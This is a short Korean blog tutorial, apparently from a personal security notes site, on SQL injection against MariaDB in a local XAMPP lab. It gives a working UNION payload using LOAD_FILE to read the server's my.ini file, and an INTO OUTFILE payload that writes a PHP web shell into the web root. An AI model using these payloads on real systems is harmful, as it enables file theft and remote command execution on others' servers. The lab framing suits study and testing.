DoR@Hee의 끄적끄적
mysql load_file을 이용한 sql Injection 본문
사용 환경 :
- 서버: 윈도우7
- 환경: xampp v3.2.3
- DB: 10.1.38-MariaDB
Load_file 은 서버에 있는 파일을 읽을 수 있는 함수이며 함수 사용 시 파일의 전체경로를 지정해주어야
한다. 만약, 파일이 존재하지 않거나 읽혀지지 않는다면 NULL 를 반환한다.
ex)Load_file('파일경로')
LOAD_FILE 을 이용 C:\xampp\mysql\bin\my.ini 파일이 있는지 확인
파일을 확인 할 수 있다.
LOAD_FILE 을 이용 C:\xampp\mysql\bin\my.inia 파일이 있는지 확인
파일이 없으므로 null 값이 나타는걸 확인
Load_FILE 을 이용한 SQL Injection
LOAD_FILE을 이용한 SQL INJECTION을 확인하기 위해서 [그림5]와 같이 실행환경을 구축했다.
union 문을 통해 sql injection 취약점을 발생시켰고
[그림6]와 같이 my.ini파일의 내용을 확인 할 수 있다.
쿼리는 아래와 같이 작성했으며 LOAD_FILE을 이용한것을 확인 할 수 있다.
1 && 1 like 2 union select LOAD_FILE('C:/xampp/mysql/bin/my.ini'),1,1,1 from simple_sql_injection
into outfile을 이용한 파일 쓰기
sql injection 취약점이 존재 시 파일을 쓸 수 있는 함수인 into OUTFILE 이용 파일을 쓸 수 있다.
/xampp/mysql/ 경로에 test.txt파일 생성을 확인 할 수 있고
그에 따른 내용을 확인 할 수 있다
단) Mysql 유저가 파일 쓰기 권한이 있어야하고
리눅스 같은 경우 mysql 은 쓰고자 하는 폴더에 쓰기 권한이 있어야한다.
1 && 1 like 2 union select "<?php system($_REQUEST['cmd']); ?>",null,null,null into outfile '/xampp/htdocs/web.php' from simple_sql_injection
이런식으로 쿼리를 작성한다면 웹셀도 올릴 수 있다.
'취약점 진단 > WEB' 카테고리의 다른 글
sql 인젝션 우회 기법 (0) | 2019.05.05 |
---|---|
sql 문자열 결합 방법 (0) | 2019.05.05 |
SQL Injection 종류 (0) | 2019.04.27 |
mysql - information_schema (0) | 2019.03.26 |
Blind Sql Injection -값 길이, 값 가져오기 (0) | 2019.03.25 |